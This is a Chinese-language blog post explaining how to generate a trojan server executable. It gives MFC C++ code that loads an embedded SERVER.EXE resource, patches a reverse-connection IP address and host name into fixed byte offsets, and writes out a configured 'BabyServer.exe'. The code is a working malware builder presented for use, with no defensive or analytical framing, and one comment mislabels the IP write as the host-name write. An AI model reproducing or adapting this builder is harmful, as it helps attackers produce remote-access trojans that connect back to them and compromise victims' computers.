木马服务端生成技术详解

来源:互联网 发布:读书软件下载 编辑:程序博客网 时间:2024/04/29 19:52

 实现思路很简单 用16进制工具   打开.EXE文件 找到要替换的内容地址 进行更新写入就可以了

注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124 

 

其实改写代码如下:

 

 

void ServerConfig::OnCreate() 
{
    UpdateData();
    
if(m_ip.IsEmpty()||m_name.IsEmpty())
    
{
        MessageBox(
"请输入反向连接的IP地址和主机上线名称 ");
    }


    DWORD dwSize,dwWritten;
    HRSRC hr
=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源
    if(hr==NULL) MessageBox("hr error");

    dwSize
=SizeofResource(NULL,hr);

    HGLOBAL hg
=LoadResource(NULL,hr);//加载资源

    
if(hg==NULL) MessageBox("hg error");

    LPSTR lp
=(LPSTR)LockResource(hg);//锁定资源

    
if(lp==NULL) MessageBox("lp error");


    LPBYTE p
=(LPBYTE)GlobalAlloc(GPTR, dwSize);  
    
if (p==NULL)  MessageBox("lp error");
    
    CopyMemory((LPVOID)p, (LPCVOID)LockResource(hg), dwSize);                                    
// 复制资源数据
    CopyMemory((LPVOID)(p+0x5020), (LPCVOID)m_name.LockBuffer(),MAX_PATH);            //写入主机名称信息
    CopyMemory((LPVOID)(p+0x5124), (LPCVOID)m_ip.LockBuffer(),15);    //写入主机名称信息

    
/*本地文件路径*/

    CString SaveFilePath;
    BROWSEINFO bi;
    ZeroMemory(
&bi,sizeof(BROWSEINFO));
    bi.hwndOwner
=GetSafeHwnd();
    bi.lpszTitle
="将文件保存到";
    LPITEMIDLIST idl
=SHBrowseForFolder(&bi);
    
if(idl==NULL)
        
return;
    SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());

    strcat(SaveFilePath.LockBuffer(),
"/");
    strcat(SaveFilePath.LockBuffer(),
"BabyServer.exe");



    HANDLE hFile;
    hFile 
= CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
    if(hFile == NULL)    MessageBox("file error");
    
else                MessageBox("服务端文件生成成功!");
    WriteFile(hFile,(LPCVOID)p,dwSize,
&dwWritten,NULL);//写入文件
    CloseHandle(hFile);

    
}

 

IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型

原创粉丝点击